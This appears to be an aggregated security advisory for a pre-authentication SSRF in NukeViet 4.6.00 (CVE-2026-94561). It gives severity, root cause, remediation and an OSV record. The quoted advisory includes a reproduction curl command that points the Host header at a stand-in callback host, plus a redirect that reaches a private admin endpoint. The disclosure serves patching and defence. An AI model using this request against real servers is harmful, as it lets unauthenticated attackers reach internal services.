CVE-2026-94561: NukeViet Pre-authentication SSRF Vulnerability

HIGH
Advisory Identifier: GHSA-8xch-674f-grqr
CVSS 7.2
CWE-918
Published
Advisory Summary

CVE-2026-94561 is a HIGH (CVSS 7.2) pre-authentication ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting NukeViet libraries in the Packagist ecosystem. The issue involves pre-authentication ssrf via incomplete x-forwarded-host fix. Remediation is available by upgrading affected packages to version 4.6.01.

CVE-2026-94561 at a Glance

CVE Identifier CVE-2026-94561
GHSA Identifier GHSA-8xch-674f-grqr
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product NukeViet
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-94561

To remediate this vulnerability, upgrade all affected NukeViet dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

nukeviet/nukeviet fixed: 4.6.01
Upgrade nukeviet/nukeviet to 4.6.01
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for nukeviet/nukeviet

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-94561, inspect your project dependencies for NukeViet:

inspect dependencies for nukeviet/nukeviet

Analyze the terminal output to locate any version of NukeViet in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.01), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In NukeViet, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary NukeViet 4.6.00 remains vulnerable to pre-authentication SSRF despite the fix for CVE-2026-55372 / GHSA-4chg-4752-w88r. The fix validates the host derived from `X-Forwarded-Host`, but NukeViet separately retains the ordinary `Host` header as `NV_SERVER_NAME`. During server-information cache initialization, `set_ini_file()` constructs a cURL URL from this unvalidated value and sends the request before validating it. An unauthenticated attacker can supply the legitimate configured domain in `X-Forwarded-Host` while placing an attacker-selected destination in `Host`. ## Affected version - NukeViet 4.6.00 - Commit: `f47de5cd6577d0d49449754be9bafe9081be4981` - No authentication required ## Root cause - `Server.php` stores `Host` and `X-Forwarded-Host` separately. - `mainfile.php` performs the early allowlist check only on the value derived from `X-Forwarded-Host`. - `ini.php` uses the unvalidated ordinary host in an outbound cURL request and follows redirects. - The ordinary host is rejected only after the outbound request has occurred. ## Reproduction Use a fresh callback host reachable from the NukeViet server: ```bash curl --http1.1 -i http://TARGET/ \ -H 'Host: FRESH_CALLBACK_HOST' \ -H 'X-Forwarded-Host: LEGITIMATE_DOMAIN' \ -H 'Connection: close' ``` No session cookie or credentials are required. A `400 Bad Request` response is expected because the SSRF occurs before the late host rejection. The callback receives: ```http POST /index.php HTTP/1.1 Host: FRESH_CALLBACK_HOST Referer: http://LEGITIMATE_DOMAIN Content-Type: application/x-www-form-urlencoded __serverInfoUpdate=1 ``` ## Verified impact In a controlled test, the callback server returned: ```http HTTP/1.1 302 Found Location: http://PRIVATE_IP:8081/internal/admin/reload?source=ssrf-proof ``` NukeViet followed the redirect, and the private service received: ```http GET /internal/admin/reload?source=ssrf-proof HTTP/1.1 Host: PRIVATE_IP:8081 ``` This proves that an unauthenticated attacker can reach an attacker-selected private HTTP host, port, and path. This could invoke internal administrative endpoints that rely on private-network access as authentication. The SSRF is blind: response bodies are not returned to the attacker. RCE and response-data theft were not demonstrated. ## Remediation - Validate the ordinary `Host` before loading `ini.php` or performing any side effect. - Do not construct server-side request URLs from request headers; use a configured canonical origin. - Disable redirect following for this internal request. - Trust forwarded headers only from configured reverse proxies. https://github.com/user-attachments/assets/963af555-34d9-4be5-8618-1c70651e20ba [nukeviet_ssrf_poc.py](https://github.com/user-attachments/files/30169107/nukeviet_ssrf_poc.py)

CVE-2026-94561 Affected NukeViet Versions

1 component(s)
Fixed Versions:
4.6.01
Product / Package Ecosystem Affected Versions Fixed Version
nukeviet/nukeviet
Packagist
≥ 4.6.00
< 4.6.01
4.6.01

References

Frequently Asked Questions

What is CVE-2026-94561?
CVE-2026-94561 is a security vulnerability in NukeViet involving Pre-authentication SSRF via incomplete X-Forwarded-Host fix under CWE-918: Server-Side Request Forgery (SSRF).
Which NukeViet versions are affected?
Affected versions include releases prior to 4.6.01 across affected packages: nukeviet/nukeviet.
What version fixes CVE-2026-94561?
Upgrading to 4.6.01 (or the latest patched release for your respective branch) resolves the vulnerability.
Is nukeviet/nukeviet affected?
Yes, nukeviet/nukeviet is affected in releases prior to 4.6.01. Upgrade your dependency to 4.6.01 or later.
What is the CVSS score of CVE-2026-94561?
CVE-2026-94561 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N.
What CWE is associated with CVE-2026-94561?
CVE-2026-94561 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Packagist dependencies for CVE-2026-94561?
Run the dependency tree command: 'inspect dependencies for nukeviet/nukeviet'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8xch-674f-grqr",
  "modified" : "2026-11-30T20:30:45Z",
  "published" : "2026-11-30T20:30:45Z",
  "aliases" : [ "CVE-2026-94561" ],
  "summary" : "NukeViet: Pre-authentication SSRF via incomplete X-Forwarded-Host fix",
  "details" : "## Summary\n\nNukeViet 4.6.00 remains vulnerable to pre-authentication SSRF despite the fix for CVE-2026-55372 / GHSA-4chg-4752-w88r.\n\nThe fix validates the host derived from `X-Forwarded-Host`, but NukeViet separately retains the ordinary `Host` header as `NV_SERVER_NAME`. During server-information cache initialization, `set_ini_file()` constructs a cURL URL from this unvalidated value and sends the request before validating it.\n\nAn unauthenticated attacker can supply the legitimate configured domain in `X-Forwarded-Host` while placing an attacker-selected destination in `Host`.\n\n## Affected version\n\n- NukeViet 4.6.00\n- Commit: `f47de5cd6577d0d49449754be9bafe9081be4981`\n- No authentication required\n\n## Root cause\n\n- `Server.php` stores `Host` and `X-Forwarded-Host` separately.\n- `mainfile.php` performs the early allowlist check only on the value derived from `X-Forwarded-Host`.\n- `ini.php` uses the unvalidated ordinary host in an outbound cURL request and follows redirects.\n- The ordinary host is rejected only after the outbound request has occurred.\n\n## Reproduction\n\nUse a fresh callback host reachable from the NukeViet server:\n\n```bash\ncurl --http1.1 -i http://TARGET/ \\\n  -H 'Host: FRESH_CALLBACK_HOST' \\\n  -H 'X-Forwarded-Host: LEGITIMATE_DOMAIN' \\\n  -H 'Connection: close'\n```\n\nNo session cookie or credentials are required. A `400 Bad Request` response is expected because the SSRF occurs before the late host rejection.\n\nThe callback receives:\n\n```http\nPOST /index.php HTTP/1.1\nHost: FRESH_CALLBACK_HOST\nReferer: http://LEGITIMATE_DOMAIN\nContent-Type: application/x-www-form-urlencoded\n\n__serverInfoUpdate=1\n```\n\n## Verified impact\n\nIn a controlled test, the callback server returned:\n\n```http\nHTTP/1.1 302 Found\nLocation: http://PRIVATE_IP:8081/internal/admin/reload?source=ssrf-proof\n```\n\nNukeViet followed the redirect, and the private service received:\n\n```http\nGET /internal/admin/reload?source=ssrf-proof HTTP/1.1\nHost: PRIVATE_IP:8081\n```\n\nThis proves that an unauthenticated attacker can reach an attacker-selected private HTTP host, port, and path. This could invoke internal administrative endpoints that rely on private-network access as authentication.\n\nThe SSRF is blind: response bodies are not returned to the attacker. RCE and response-data theft were not demonstrated.\n\n## Remediation\n\n- Validate the ordinary `Host` before loading `ini.php` or performing any side effect.\n- Do not construct server-side request URLs from request headers; use a configured canonical origin.\n- Disable redirect following for this internal request.\n- Trust forwarded headers only from configured reverse proxies.\n\nhttps://github.com/user-attachments/assets/963af555-34d9-4be5-8618-1c70651e20ba\n\n\n[nukeviet_ssrf_poc.py](https://github.com/user-attachments/files/30169107/nukeviet_ssrf_poc.py)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "nukeviet/nukeviet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.6.00"
      }, {
        "fixed" : "4.6.01"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nukeviet/nukeviet/security/advisories/GHSA-8xch-674f-grqr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-94561"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nukeviet/nukeviet/commit/a2ceabdacd5fb3135bde6cdfb106e76b24736095"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nukeviet/nukeviet/commit/b5305fe257a7487c7b8fbe74b31a9554793be720"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nukeviet/nukeviet"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nukeviet/nukeviet/releases/tag/4.6.01"
  }, {
    "type" : "WEB",
    "url" : "https://nukeviet.vn/vi/news/Tin-tuc/thong-bao-phat-hanh-nukeviet-4-6-01-857.html"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-30T20:30:45Z",
    "nvd_published_at" : "2026-11-20T19:18:55Z"
  }
}